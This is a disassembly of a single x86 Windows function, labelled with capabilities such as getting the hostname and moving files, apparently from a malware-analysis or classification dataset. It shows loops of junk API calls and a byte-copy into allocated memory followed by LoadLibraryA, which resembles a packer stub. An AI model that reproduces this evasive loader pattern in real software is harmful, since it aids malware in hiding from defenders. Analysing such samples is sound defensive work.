Function at 0x4179b0
Capabilities:
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41cd01
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1fc0
call fcn.004168a0
push ebx
push ebp
push esi
xor ebx, ebx
mov dword [esp + 0x18], ebx
mov esi, dword [esp + 0x14]
mov ebp, dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
xor eax, eax
push edi
mov edi, dword [esp + 0x18]
mov dword [esp + 0x14], eax
cmp eax, 0x2c787
jge 0x417a08
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharToOemBuffW]
mov eax, dword [esp + 0x14]
cmp dword [0xb8bf14], 0x6fb
jne 0x417a5e
push 0x30
lea eax, [esp + 0x140]
push ebx
push eax
mov dword [esp + 0x144], ebx
call fcn.0040a480
add esp, 0xc
push ebx
lea ecx, [esp + 0x13c]
push ecx
push 0x4040a4
call ebp
push ebx
lea edx, [esp + 0x7d4]
push edx
push 0x4040cc
call dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov eax, dword [esp + 0x14]
cmp eax, 0x1e7d3ede
jle 0x417a7c
cmp dword [esp + 0x18], 0xc0f3f2
je 0x417a7c
cmp dword [esp + 0x144], 0x9374828
jne 0x417a8e
inc eax
mov dword [esp + 0x14], eax
cmp eax, 0x7d9ed
jl 0x4179f4
jmp 0x417ac0
cmp dword [0xb8bf14], 0x28
jne 0x417ac0
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x3d4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea edx, [esp + 0x180]
push edx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
cmp dword [0xb8bf14], 0xcf8
jne 0x417f9e
push 0x404104
push ebx
call fcn.0040a3bd
push ebx
call fcn.0040a253
add esp, 0xc
push ebx
push ebx
call fcn.00409fab
add esp, 8
lea eax, [esp + 0xe0]
push eax
call fcn.00406560
mov dword [esp + 0xe0], 0x40433c
mov dword [esp + 0x11c], ebx
mov dword [esp + 0x120], ebx
mov eax, 1
mov dword [esp + 0x1fdc], eax
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x38], 0x404380
mov dword [esp + 0x48], 0x404388
mov byte [esp + 0x1fdc], 3
mov ebp, 6
push 4
mov dword [esp + 0x20], eax
mov dword [esp + 0x9c], 0x404324
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0xcc], ebx
mov dword [esp + 0xa4], ebx
mov dword [esp + 0xac], ebx
mov dword [esp + 0xb0], 0x201
mov dword [esp + 0xb4], ebp
mov dword [esp + 0xb8], ebx
mov dword [esp + 0xbc], ebx
mov dword [esp + 0xc0], ebx
mov dword [esp + 0xc4], ebx
mov dword [esp + 0xc8], ebx
mov dword [esp + 0xa8], ebx
call fcn.0040a5b6
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x417bf0
call fcn.00408eef
mov dword [esi], eax
call fcn.00408cae
push ebx
lea ecx, [esp + 0x18]
mov edi, eax
call fcn.004090b5
mov eax, dword [edi + 4]
cmp eax, 0xffffffff
jae 0x417be5
inc eax
mov dword [edi + 4], eax
lea ecx, [esp + 0x14]
call fcn.004090dd
jmp 0x417bf2
xor esi, esi
lea ecx, [esp + 0x50]
lea edi, [esp + 0x20]
lea eax, [esp + 0x98]
mov dword [esp + 0xc8], esi
mov dword [esp + 0xd0], ecx
mov dword [esp + 0xd4], ebx
call fcn.004054e0
mov edi, eax
mov dword [esp + 0x1fdc], ebp
call fcn.004083e0
mov byte [esp + 0x1fdc], 5
mov edi, dword [esp + 0x20]
mov ebp, eax
cmp edi, ebx
je 0x417c77
push ebx
lea ecx, [esp + 0x1c]
call fcn.004090b5
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x417c55
cmp eax, 0xffffffff
jae 0x417c55
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x18]
and esi, edi
call fcn.004090dd
cmp esi, ebx
je 0x417c77
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
mov edx, dword [ebp]
mov eax, dword [edx + 0x18]
push 0x20
mov ecx, ebp
call eax
mov byte [esp + 0xd8], al
cmp dword [esp + 0xd0], ebx
jne 0x417cbd
mov eax, dword [esp + 0xa4]
or eax, 4
and eax, 0x17
mov dword [esp + 0xa4], eax
test dword [esp + 0xa8], eax
je 0x417cbd
push ebx
lea ecx, [esp + 0x9c]
call fcn.00405400
mov ecx, dword [esp + 0x48]
mov edx, dword [ecx + 4]
mov dword [esp + edx + 0x48], 0x40432c
mov eax, dword [esp + 0x38]
mov ecx, dword [eax + 4]
mov dword [esp + ecx + 0x38], 0x404334
mov dword [esp + 0x1fdc], 9
mov edx, dword [esp + 0x38]
mov eax, dword [edx + 4]
lea ecx, [esp + 0x50]
mov esi, 0x40437c
push ecx
mov dword [esp + eax + 0x3c], esi
call fcn.00406560
mov edi, 0x40433c
mov dword [esp + 0x50], edi
mov dword [esp + 0x8c], ebx
mov dword [esp + 0x90], ebx
push 0x404110
lea edx, [esp + 0x4c]
push edx
mov byte [esp + 0x1fe4], 0xb
call fcn.004056d0
push 0x404114
lea eax, [esp + 0x4c]
push eax
call fcn.004056d0
push ebx
call fcn.0040a5a7
add esp, 4
push ebx
call fcn.0040a3a6
add esp, 4
push ebx
push ebx
call fcn.0040a0a7
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.004098a8
add esp, 0x1c
push ebx
push ebx
push ebx
push ebx
call fcn.004099fd
mov edx, dword [esp + 0x48]
mov eax, dword [edx + 4]
lea ecx, [esp + 0xa8]
add esp, 0x10
mov dword [esp + 0x20], ecx
mov dword [esp + eax + 0x38], esi
test byte [esp + 0x90], 1
lea ecx, [esp + 0x50]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x50], edi
je 0x417daa
mov edx, dword [esp + 0x60]
mov eax, dword [edx]
push eax
call fcn.0040a505
add esp, 4
mov eax, dword [esp + 0x60]
mov dword [eax], ebx
mov ecx, dword [esp + 0x70]
mov dword [ecx], ebx
mov edx, dword [esp + 0x80]
mov dword [edx], ebx
mov eax, dword [esp + 0x64]
mov dword [eax], ebx
mov ecx, dword [esp + 0x74]
mov dword [ecx], ebx
mov edx, dword [esp + 0x84]
mov dword [edx], ebx
and dword [esp + 0x90], 0xfffffffe
mov dword [esp + 0x8c], ebx
mov dword [esp + 0x50], 0x4042e4
mov byte [esp + 0x1fdc], 0xd
mov eax, dword [esp + 0x88]
mov ebp, eax
cmp eax, ebx
je 0x417e50
mov edi, dword [eax]
cmp edi, ebx
je 0x417e42
push ebx
lea ecx, [esp + 0x1c]
call fcn.004090b5
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x417e20
cmp eax, 0xffffffff
jae 0x417e20
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x18]
and esi, edi
call fcn.004090dd
cmp esi, ebx
je 0x417e42
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
push ebp
call fcn.0040a505
add esp, 4
mov edi, 0x40433c
lea ecx, [esp + 0x54]
mov byte [esp + 0x1fdc], 0xc
call fcn.0040910e
mov byte [esp + 0x1fdc], 2
mov eax, dword [esp + 0x38]
mov ecx, dword [eax + 4]
mov dword [esp + ecx + 0x38], 0x404334
mov edx, dword [esp + 0x48]
mov eax, dword [edx + 4]
mov dword [esp + eax + 0x48], 0x40432c
mov ecx, dword [esp + 0x38]
mov edx, dword [ecx + 4]
lea eax, [esp + 0x98]
mov dword [esp + edx + 0x38], 0x404324
push eax
mov dword [esp + 0x9c], 0x4042d8
call fcn.00408be4
add esp, 4
test byte [esp + 0x120], 1
mov dword [esp + 0xe0], edi
je 0x417ed4
mov ecx, dword [esp + 0xf0]
mov eax, dword [ecx]
push eax
call fcn.0040a505
add esp, 4
mov edx, dword [esp + 0xf0]
mov dword [edx], ebx
mov eax, dword [esp + 0x100]
mov dword [eax], ebx
mov ecx, dword [esp + 0x110]
mov dword [ecx], ebx
mov edx, dword [esp + 0xf4]
mov dword [edx], ebx
mov eax, dword [esp + 0x104]
mov dword [eax], ebx
mov ecx, dword [esp + 0x114]
mov dword [ecx], ebx
and dword [esp + 0x120], 0xfffffffe
mov dword [esp + 0x11c], ebx
mov dword [esp + 0xe0], 0x4042e4
mov dword [esp + 0x1fdc], 0xe
mov eax, dword [esp + 0x118]
mov ebp, eax
cmp eax, ebx
je 0x417f87
mov edi, dword [eax]
cmp edi, ebx
je 0x417f7e
push ebx
lea ecx, [esp + 0x1c]
call fcn.004090b5
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x417f5c
cmp eax, 0xffffffff
jae 0x417f5c
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x18]
and esi, edi
call fcn.004090dd
cmp esi, ebx
je 0x417f7e
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
push ebp
call fcn.0040a505
add esp, 4
lea ecx, [esp + 0xe4]
mov dword [esp + 0x1fdc], 0xffffffff
call fcn.0040910e
mov edi, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
mov ebp, dword [sym.imp.KERNEL32.dll_MoveFileA]
xor esi, esi
lea esp, [esp]
cmp esi, 0x408
jne 0x417fc3
mov eax, 0x5d1
add dword [0xb8bf14], eax
cmp dword [0xb8bf14], 0xca3
jne 0x417fe7
push ebx
lea ecx, [esp + 0x7d4]
push ecx
push ebx
call edi
push 0x404118
push 0x40413c
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x417fb0
mov edx, dword [0xb8bf14]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0xb8be7c], eax
mov eax, dword [0xb8bf14]
xor esi, esi
cmp eax, ebx
jbe 0x418116
mov edi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ebp, dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
mov edi, edi
cmp eax, 0xfe
jne 0x41807a
push ebx
lea eax, [esp + 0x3d4]
push eax
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 0x180]
push ecx
push 0x40414c
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
xor eax, eax
lea edx, [esp + 0x24]
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
push edx
lea eax, [esp + 0x13c]
push eax
push 0x404168
mov dword [esp + 0x30], ebx
call ebp
mov eax, dword [0xb8bf14]
cmp eax, 0x37
jne 0x4180cc
push ebx
lea ecx, [esp + 0x3d4]
push ecx
push ebx
push 0x404038
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push 0x404050
push ebx
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
lea edx, [esp + 0x180]
push edx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x404074
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov eax, dword [0xb8cf08]
mov dword [esp + 0x14], eax
mov eax, 0x5d1
add dword [esp + 0x14], eax
mov ecx, dword [esp + 0x14]
mov eax, dword [0xb8be7c]
mov dl, byte [ecx + esi]
mov byte [eax + esi], dl
mov eax, dword [0xb8bf14]
cmp eax, 0x29
jne 0x41810d
push ebx
lea ecx, [esp + 0x7d4]
push ecx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov eax, dword [0xb8bf14]
inc esi
cmp esi, eax
jb 0x418020
mov esi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebp, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputW]
mov dword [esp + 0x1c], 0x9682ab
cmp eax, 3
jne 0x418141
push ebx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov eax, dword [0xb8bf14]
cmp eax, 0xdf
jne 0x418191
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
push ebx
call edi
xor edx, edx
push ebx
mov eax, edx
push eax
push eax
push ebx
push ebx
mov dword [esp + 0x28], edx
call ebp
lea ecx, [esp + 0x24]
push ecx
xor eax, eax
lea edx, [esp + 0x13c]
push edx
push ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
mov eax, dword [0xb8bf14]
dec dword [esp + 0x1c]
jne 0x418130
mov esi, dword [sym.imp.KERNEL32.dll_UpdateResourceA]
mov ebp, 0x25887
mov edi, 0xabebc05c
jmp 0x4181b0
mov dword [0xb8be84], edi
cmp eax, 0x222
jne 0x4181d2
push ebx
push ebx
push ebx
push 0x40418c
push 0x4041cc
push ebx
call esi
mov eax, dword [0xb8bf14]
dec ebp
jne 0x4181b0
mov byte [0x4378c8], bl
call fcn.004173c0
call fcn.00417760
mov edi, dword [sym.imp.KERNEL32.dll_LocalFlags]
mov ebp, dword [sym.imp.KERNEL32.dll_LocalSize]
xor esi, esi
cmp dword [0xb8bf14], 0xba
jne 0x418208
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push ebx
call edi
push ebx
call ebp
cmp esi, 0x2f64
jne 0x418221
mov eax, 0x4f80
add dword [0xb8be7c], eax
inc esi
cmp esi, 0x1605a
jl 0x4181f3
push 0x403fb0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0xb8bf14], 0xc30
jne 0x41830a
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
lea eax, [esp + 0x18]
push eax
push 0x4041ec
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
lea ecx, [esp + 0x180]
push ecx
push 0x40421c
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x40424c
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateActCtxA]
push ebx
lea edx, [esp + 0x24]
push edx
push ebx
lea eax, [esp + 0x3dc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push ebx
lea ecx, [esp + 0x7d4]
push ecx
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x140]
push ecx
lea edx, [esp + 0x140]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
lea eax, [esp + 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push ebx
call esi
push ebx
lea ecx, [esp + 0xfd4]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push ebx
lea edx, [esp + 0x17d4]
push edx
push 0x404274
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push ebx
lea eax, [esp + 0x138]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov ecx, dword [esp + 0x1fd4]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret